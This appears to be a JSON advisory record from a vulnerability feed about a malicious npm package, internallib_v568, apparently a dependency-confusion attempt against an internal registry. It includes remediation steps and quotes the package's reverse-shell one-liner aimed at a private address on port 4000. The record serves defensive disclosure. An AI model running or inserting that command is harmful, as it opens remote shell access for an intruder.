{"answers":{"affected":"1 open source package ship an affected version, including internallib_v568.","exploited":"There is no known exploitation of MAL-2026-11513 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-11513 is a malicious package in internallib_v568, published on 3 Aug 2026."},"fix_prompt":"MAL-2026-11513 is a malicious package: internallib_v568 (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-11513/ (Markdown: https://insights.sbomify.com/MAL-2026-11513/index.md)","id":"MAL-2026-11513","markdown":"https://insights.sbomify.com/MAL-2026-11513/index.md","name":"MAL-2026-11513","record":{"aliases":["GHSA-f4rq-x75f-gx73"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"internallib_v568@1.0.1 is shaped as a dependency-confusion artifact against a private package name. The main module exports a payload containing a reverse-shell one-liner (`/bin/sh -i \u003e\u0026 /dev/tcp/10.0.64.141/4000 0\u003e\u00261`) directed at an RFC1918 address on TCP/4000. package.json declares the package as its own dependency (`\"internallib_v568\": \"^1.0.0\"`), and a shipped.gitlab-ci.yml runs `npm update --registry http://0.0.0.0:4873/` and then requires the module — consistent with resolution against an internal Verdaccio registry. The embedded shell one-liner is not syntactically valid JavaScript and would throw at require-time rather than execute, so the reverse shell does not actually open on install in its current form; however, the hardcoded internal endpoint, the self-referential dependency, and the internal-registry CI wiring together document a deliberate attempt to land a reverse-shell payload inside an internal build via name-confusion.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in internallib_v568 (npm)","id":"MAL-2026-11513","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"internallib_v568","purl":"pkg:npm/internallib_v568","source":"MAL-2026-11513"}],"products":null,"published":"2026-08-03","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-11513/"}